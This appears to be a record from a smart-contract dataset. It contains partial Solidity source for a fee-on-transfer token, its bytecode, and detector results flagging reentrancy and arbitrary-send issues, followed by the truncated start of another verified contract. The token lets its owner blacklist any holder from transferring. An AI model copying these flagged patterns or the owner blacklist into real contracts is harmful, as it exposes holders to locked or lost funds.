bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x5E91C07CD4a4D2503f2D8cb16d1FdaC5eDA715B8); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { if( maxTxAmount >= 5e7){ _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 15); require(amountSell >= 0 && amountSell <= 15); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 10); require(amountRefSell >= 0 && amountRefSell <= 10); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610599578063c5528490146105b9578063dd62ed3e146105d9578063ea1644d51461061f578063f2fde38b1461063f57600080fd5b80638da5cb5b146105245780638f9a55c01461054257806395d89b41146105585780639e78fb4f1461058457600080fd5b8063790ca413116100dc578063790ca413146104c35780637c519ffb146104d95780637d1db4a5146104ee578063881dce601461050457600080fd5b80636fc3eaec1461045957806370a082311461046e578063715018a61461048e57806374010ece146104a357600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d95780634bf2c7c9146103f95780635d098b38146104195780636d8aa8f81461043957600080fd5b80632fd689e314610367578063313ce5671461037d57806333251a0b1461039957806338eea22d146103b957600080fd5b806318160ddd116101c157806318160ddd146102ea57806323b872dd1461030f57806327c8f8351461032f57806328bb665a1461034557600080fd5b806306fdde03146101fe578063095ea7b3146102495780630f3a325f146102795780631694505e146102b257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152601081526f2090243ab73a32b939902bb2b0b837b760811b60208201525b6040516102409190611f8e565b60405180910390f35b34801561025557600080fd5b50610269610264366004611e39565b61065f565b6040519015158152602001610240565b34801561028557600080fd5b50610269610294366004611d85565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102be57600080fd5b506016546102d2906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102f657600080fd5b50678ac7230489e800005b604051908152602001610240565b34801561031b57600080fd5b5061026961032a366004611df8565b610676565b34801561033b57600080fd5b506102d261dead81565b34801561035157600080fd5b50610365610360366004611e65565b6106df565b005b34801561037357600080fd5b50610301601a5481565b34801561038957600080fd5b5060405160098152602001610240565b3480156103a557600080fd5b506103656103b4366004611d85565b61077e565b3480156103c557600080fd5b506103656103d4366004611f6c565b6107ed565b3480156103e557600080fd5b506017546102d2906001600160a01b031681565b34801561040557600080fd5b50610365610414366004611f53565b61083e565b34801561042557600080fd5b50610365610434366004611d85565b61086d565b34801561044557600080fd5b50610365610454366004611f31565b6108c7565b34801561046557600080fd5b5061036561090f565b34801561047a57600080fd5b50610301610489366004611d85565b610939565b34801561049a57600080fd5b5061036561095b565b3480156104af57600080fd5b506103656104be366004611f53565b6109cf565b3480156104cf57600080fd5b50610301600a5481565b3480156104e557600080fd5b50610365610a09565b3480156104fa57600080fd5b5061030160185481565b34801561051057600080fd5b5061036561051f366004611f53565b610a63565b34801561053057600080fd5b506000546001600160a01b03166102d2565b34801561054e57600080fd5b5061030160195481565b34801561056457600080fd5b5060408051808201909152600381526241584560e81b6020820152610233565b34801561059057600080fd5b50610365610adf565b3480156105a557600080fd5b506102696105b4366004611e39565b610cc4565b3480156105c557600080fd5b506103656105d4366004611f6c565b610cd1565b3480156105e557600080fd5b506103016105f4366004611dbf565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062b57600080fd5b5061036561063a366004611f53565b610d22565b34801561064b57600080fd5b5061036561065a366004611d85565b610d60565b600061066c338484610e4a565b5060015b92915050565b6000610683848484610f6e565b6106d584336106d085604051806060016040528060288152602001612193602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061161a565b610e4a565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161070990611fe3565b60405180910390fd5b60005b815181101561077a5760016009600084848151811061073657610736612151565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077281612120565b915050610715565b5050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161070990611fe3565b6001600160a01b03811660009081526009602052604090205460ff16156107ea576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161070990611fe3565b600a82111561082557600080fd5b600a81111561083357600080fd5b600b91909155600d55565b6000546001600160a01b031633146108685760405162461bcd60e51b815260040161070990611fe3565b601155565b6015546001600160a01b0316336001600160a01b03161461088d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161070990611fe3565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461092f57600080fd5b476107ea81611654565b6001600160a01b0381166000908152600260205260408120546106709061168e565b6000546001600160a01b031633146109855760405162461bcd60e51b815260040161070990611fe3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161070990611fe3565b6302faf08081106107ea57601855565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161070990611fe3565b601754600160a01b900460ff1615610a4a57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a8357600080fd5b610a8c30610939565b8111158015610a9b5750600081115b610ad65760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610709565b6107ea81611712565b6000546001600160a01b03163314610b095760405162461bcd60e51b815260040161070990611fe3565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611da2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be957600080fd5b505afa158015610bfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c219190611da2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c6957600080fd5b505af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190611da2565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066c338484610f6e565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b815260040161070990611fe3565b600f821115610d0957600080fd5b600f811115610d1757600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d4c5760405162461bcd60e51b815260040161070990611fe3565b601954811015610d5b57600080fd5b601955565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b815260040161070990611fe3565b6001600160a01b038116610def5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610eac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610709565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610709565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610709565b6001600160a01b0382166110345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610709565b600081116110965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610709565b6001600160a01b03821660009081526009602052604090205460ff16156110cf5760405162461bcd60e51b815260040161070990612018565b6001600160a01b03831660009081526009602052604090205460ff16156111085760405162461bcd60e51b815260040161070990612018565b3360009081526009602052604090205460ff16156111385760405162461bcd60e51b815260040161070990612018565b6000546001600160a01b0384811691161480159061116457506000546001600160a01b03838116911614155b156114c457601754600160a01b900460ff166111c25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610709565b6017546001600160a01b0383811691161480156111ed57506016546001600160a01b03848116911614155b1561129f576001600160a01b038216301480159061121457506001600160a01b0383163014155b801561122e57506015546001600160a01b03838116911614155b801561124857506015546001600160a01b03848116911614155b1561129f5760185481111561129f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b038381169116148015906112cb57506015546001600160a01b03838116911614155b80156112e057506001600160a01b0382163014155b80156112f757506001600160a01b03821661dead14155b156113be5760185481111561134e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b6019548161135b84610939565b61136591906120b0565b106113be5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b60006113c930610939565b601a5490915081118080156113e85750601754600160a81b900460ff16155b801561140257506017546001600160a01b03868116911614155b80156114175750601754600160b01b900460ff165b801561143c57506001600160a01b03851660009081526006602052604090205460ff16155b801561146157506001600160a01b03841660009081526006602052604090205460ff16155b156114c1576011546000901561149c57611491606461148b6011548661189b90919063ffffffff16565b9061191a565b905061149c8161195c565b6114ae6114a98285612109565b611712565b4780156114be576114be47611654565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150657506001600160a01b03831660009081526006602052604090205460ff165b8061153857506017546001600160a01b0385811691161480159061153857506017546001600160a01b03848116911614155b1561154557506000611608565b6017546001600160a01b03858116911614801561157057506016546001600160a01b03848116911614155b156115cb576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115cb576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115f657506016546001600160a01b03858116911614155b1561160857600d54600f55600e546010555b61161484848484611969565b50505050565b6000818484111561163e5760405162461bcd60e51b81526004016107099190611f8e565b50600061164b8486612109565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116f55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b60006116ff61199d565b905061170b838261191a565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061175a5761175a612151565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117ae57600080fd5b505afa1580156117c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e69190611da2565b816001815181106117f9576117f9612151565b6001600160a01b03928316602091820292909201015260165461181f9130911684610e4a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185890859060009086903090429060040161203f565b600060405180830381600087803b15801561187257600080fd5b505af1158015611886573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118aa57506000610670565b60006118b683856120ea565b9050826118c385836120c8565b1461170b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b600061170b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c0565b6107ea3061dead83610f6e565b80611976576119766119ee565b611981848484611a33565b8061161457611614601254600f55601354601055601454601155565b60008060006119aa611b2a565b90925090506119b9828261191a565b9250505090565b600081836119e15760405162461bcd60e51b81526004016107099190611f8e565b50600061164b84866120c8565b600f541580156119fe5750601054155b8015611a0a5750601154155b15611a1157565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4587611b6a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a779087611bc7565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aa69086611c09565b6001600160a01b038916600090815260026020526040902055611ac881611c68565b611ad28483611cb2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611b45828261191a565b821015611b6157505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611b878a600f54601054611cd6565b9250925092506000611b9761199d565b90506000806000611baa8e878787611d25565b919e509c509a509598509396509194505050505091939550919395565b600061170b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061161a565b600080611c1683856120b0565b90508381101561170b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611c7261199d565b90506000611c80838361189b565b30600090815260026020526040902054909150611c9d9082611c09565b30600090815260026020526040902055505050565b600754611cbf9083611bc7565b600755600854611ccf9082611c09565b6008555050565b6000808080611cea606461148b898961189b565b90506000611cfd606461148b8a8961189b565b90506000611d1582611d0f8b86611bc7565b90611bc7565b9992985090965090945050505050565b6000808080611d34888661189b565b90506000611d42888761189b565b90506000611d50888861189b565b90506000611d6282611d0f8686611bc7565b939b939a50919850919650505050505050565b8035611d808161217d565b919050565b600060208284031215611d9757600080fd5b813561170b8161217d565b600060208284031215611db457600080fd5b815161170b8161217d565b60008060408385031215611dd257600080fd5b8235611ddd8161217d565b91506020830135611ded8161217d565b809150509250929050565b600080600060608486031215611e0d57600080fd5b8335611e188161217d565b92506020840135611e288161217d565b929592945050506040919091013590565b60008060408385031215611e4c57600080fd5b8235611e578161217d565b946020939093013593505050565b60006020808385031215611e7857600080fd5b823567ffffffffffffffff80821115611e9057600080fd5b818501915085601f830112611ea457600080fd5b813581811115611eb657611eb6612167565b8060051b604051601f19603f83011681018181108582111715611edb57611edb612167565b604052828152858101935084860182860187018a1015611efa57600080fd5b600095505b83861015611f2457611f1081611d75565b855260019590950194938601938601611eff565b5098975050505050505050565b600060208284031215611f4357600080fd5b8135801515811461170b57600080fd5b600060208284031215611f6557600080fd5b5035919050565b60008060408385031215611f7f57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fbb57858101830151858201604001528201611f9f565b81811115611fcd576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208f5784516001600160a01b03168352938301939183019160010161206a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120c3576120c361213b565b500190565b6000826120e557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121045761210461213b565b500290565b60008282101561211b5761211b61213b565b500390565b60006000198214156121345761213461213b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f8783fbb78a2a7a5e9cb8e373e044d980d04d9a2b45e8c0d5cd7ec74fc8296964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,856
0x69F7f7053024cd5923A11718F3A28cC62F2AF3a7
/** *Submitted for verification at Etherscan.io on 2021-12-23 */ // _____ ______ _________ _____ ______ // |\ _ \ _ \|\___ ___\\ _ \ _ \ // \ \ \\\__\ \ \|___ \ \_\ \ \\\__\ \ \ // \ \ \\|__| \ \ \ \ \ \ \ \\|__| \ \ // \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ // \ \__\ \ \__\ \ \__\ \ \__\ \ \__\ // \|__| \|__| \|__| \|__| \|__| // // ________ ________ _________ _______ ___ ___ ___ _________ _______ // |\ ____\|\ __ \|\___ ___\\ ___ \ |\ \ |\ \ |\ \|\___ ___\\ ___ \ // \ \ \___|\ \ \|\ \|___ \ \_\ \ __/|\ \ \ \ \ \ \ \ \|___ \ \_\ \ __/| // \ \_____ \ \ __ \ \ \ \ \ \ \_|/_\ \ \ \ \ \ \ \ \ \ \ \ \ \ \_|/__ // \|____|\ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \____\ \ \____\ \ \ \ \ \ \ \ \_|\ \ // ____\_\ \ \__\ \__\ \ \__\ \ \_______\ \_______\ \_______\ \__\ \ \__\ \ \_______\ // |\_________\|__|\|__| \|__| \|_______|\|_______|\|_______|\|__| \|__| \|_______| // \|_________| // // ________ _________ ________ _________ ___ ________ ________ // |\ ____\|\___ ___\\ __ \|\___ ___\\ \|\ __ \|\ ___ \ // \ \ \___|\|___ \ \_\ \ \|\ \|___ \ \_\ \ \ \ \|\ \ \ \\ \ \ // \ \_____ \ \ \ \ \ \ __ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \ // \|____|\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\ \ \ // ____\_\ \ \ \__\ \ \__\ \__\ \ \__\ \ \__\ \_______\ \__\\ \__\ // |\_________\ \|__| \|__|\|__| \|__| \|__|\|_______|\|__| \|__| // \|_________| // // // // /#######* // ##################, // .######################## // ,,############################ %%%%%% // ,,,###############################, .%%%%%%%%, // ,,,,,#################################* /%%%%%%%% // .,,,,,/###################################, %%%%%,//. // ,,,.,,,/###################################%%%%% // ,,,,,,,,,###############################%%%%%##* // ,,,,,,,,,,########################%%%%%%%%######## // ,,,,,,,,,,,,################%%%%%%%%%%%%%########### // ,,,,,,,,,,,,,(#######%%%%%%%%%%#%%%%%%%%############## // .,,,,,,,,,,,,,,#%%%%%%%%######%%%%%%%%%################( // *,,,,,,,,,,,,,,,##########%%%%%##%%%%###################. // ,,,,,,,,,,,,,,,,,/#####%%%%%###%%%%###################### // ,,,,,,,,.,,,,,,,.,,%%%%%#####%%%%######################## // *,,,,,,,,,,,,,,,,,,,#######%%%%########################## // ,,,,,,,,,,,,,,,,,,,,,,###%%%%############################ // *,,,,,,,,,,,,,,,,,,,,,,#%%############################## // *,,,,,,,,,.,,,,,,,,,,,,,(#############################. // **,,,,,,,,,,,,,,,,,,,,,,,,##########################* // .*****,,,,,,,,,,,,,,,,,,,,,,,,,###################### // **********,,,,,,,,,,,,,,,,,,,,,,,,,,(##############, // .**********,***,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,*** // ****** ,******,,,,,,,,,,,,,******. // ,,,,,, // ,,,,,, // ************ // ************ // ************ // ************ // ************ // ,,,,,,,,,,,,,,,,,, // ,,,,,,,,,,,,,,,,,,,, // .,,,,,,,,,,,,,,,,,,,,. // ,,,,,,,,,,,,,,.,,,,,,, // ,,************************,, // ****************************** // ,****************************. // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external; function balanceOf(address account) external view returns (uint256); } abstract contract SatelliteReceiver { // DO NOT CHANGE THIS! address public satelliteStationAddress; uint256 public SSTokensMinted = 0; // YOU NEED TO CONFIGURE THIS! address public SSTokenReceiver; address public SSTokenAddress; uint256 public SSTokensPerMint; uint256 public SSTokensAvailable; function _satelliteMint(uint256 amount_) internal { require(msg.sender == satelliteStationAddress, "_satelliteMint: msg.sender is not Satellite Station!"); require(SSTokensAvailable >= SSTokensMinted + amount_, "_satelliteMint: amount_ requested over maximum avaialble tokens!"); SSTokensMinted += amount_; } } interface iSatelliteReceiver { function satelliteMint(uint256 amount_) external; function SSTokenReceiver() external view returns (address); function SSTokenAddress() external view returns (address); function SSTokensPerMint() external view returns (uint256); } interface iMES { // View Functions function balanceOf(address address_) external view returns (uint256); function pendingRewards(address address_) external view returns (uint256); function getStorageClaimableTokens(address address_) external view returns (uint256); function getPendingClaimableTokens(address address_) external view returns (uint256); function getTotalClaimableTokens(address address_) external view returns 